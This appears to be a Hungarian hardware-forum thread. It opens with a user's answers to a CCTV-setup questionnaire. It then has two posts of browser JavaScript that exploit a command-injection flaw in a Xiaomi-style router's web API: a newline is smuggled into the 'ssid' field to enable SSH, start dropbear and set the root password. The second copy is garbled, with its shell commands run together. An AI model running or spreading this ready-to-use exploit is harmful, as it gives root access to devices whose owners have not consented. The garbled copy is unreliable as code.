Hirdetés

Keresés

Új hozzászólás Aktív témák

  • tlala

    addikt

    1. Hány db kamerát tervezel (kültéri/beltéri)?
    10 db
    2. Később lesz-e bővítve?
    Nem tervezzük.
    3. NVR (rögzítő) kerül-e a rendszerbe, vagy SD kártyára lesz a rögzítés?
    Rögzítő kell.
    4. Mekkora területet szeretnél figyelni (hány méterre van a kerítés vagy az utcafront)?
    2 db kültéri kameránák kb. 15 méter, a beltérieknél max 5-8 m.
    5. Kellenek-e "okos" funkciók (személy/gépjármű felismerés)? > hasznos infó, olvasd el
    Nem igazán látom jelentőségét - 5 Mp kamerákban gondolkodunk.
    6. Külföldi vásárlás szóba jöhet-e (EU raktárból, plusz költség nélkül)?
    Nem, ÁFA-s számla kell belföldről.
    7. Mennyi pénz lenne a vásárlásra?
    Amennyi szükséges, nem ismerem az árakat.
    8. Mindig vezetékes rendszert ajánlunk, megfelel vagy WiFi-s kell?
    Vezetékes, PoE.
    9. Egyéb igények (pl forgatható, sim kártyás, napelemes, színes éjjeli kép stb)?
    Legyen az arc nappal felismerhető.

  • tlala

    addikt

    function getSTOK() {
        let match = location.href.match(/;stok=(.*?)\//);
        if (!match) {
            return null;
        }
        return match[1];
    }

    function execute(stok, command) {
        command = encodeURIComponent(command);
        let path = `/cgi-bin/luci/;stok=${stok}/api/misystem/set_config_iotdev?bssid=SteelyWing&user_id=SteelyWing&ssid=-h%0A${command}%0A`;
        console.log(path);
        return fetch(new Request(location.origin + path));
    }

    function enableSSH() {
        stok = getSTOK();
        if (!stok) {
            console.error('stok not found in URL');
            return;
        }
        console.log(`stok = "${stok}"`);

        password = prompt('Input new SSH password');
        if (!password) {
            console.error('You must input password');
            return;
        }

        execute(stok, 
    `
    nvram set ssh_en=1
    nvram commit
    sed -i 's/channel=.*/channel=\\"debug\\"/g' /etc/init.d/dropbear
    /etc/init.d/dropbear start
    `
        )
            .then((response) => response.text())
            .then((text) => console.log(text));
        console.log('New SSH password: ' + password);
        execute(stok, `echo -e "${password}\\n${password}" | passwd root`)
            .then((response) => response.text())
            .then((text) => console.log(text));
    }

    enableSSH();

  • tlala

    addikt

    function getSTOK() { let match = location.href.match(/;stok=(.*?)\//); if (!match) { return null; } return match[1];}
    function execute(stok, command) { command = encodeURIComponent(command); let path = `/cgi-bin/luci/;stok=${stok}/api/misystem/set_config_iotdev?bssid=SteelyWing&user_id=SteelyWing&ssid=-h%0A${command}%0A`; console.log(path); return fetch(new Request(location.origin + path));}
    function enableSSH() { stok = getSTOK(); if (!stok) { console.error('stok not found in URL'); return; } console.log(`stok = "${stok}"`);
    password = prompt('Input new SSH password'); if (!password) { console.error('You must input password'); return; }
    execute(stok, `nvram set ssh_en=1nvram commitsed -i 's/channel=.*/channel=\\"debug\\"/g' /etc/init.d/dropbear/etc/init.d/dropbear start` ) .then((response) => response.text()) .then((text) => console.log(text)); console.log('New SSH password: ' + password); execute(stok, `echo -e "${password}\\n${password}" | passwd root`) .then((response) => response.text()) .then((text) => console.log(text));}
    enableSSH();

Új hozzászólás Aktív témák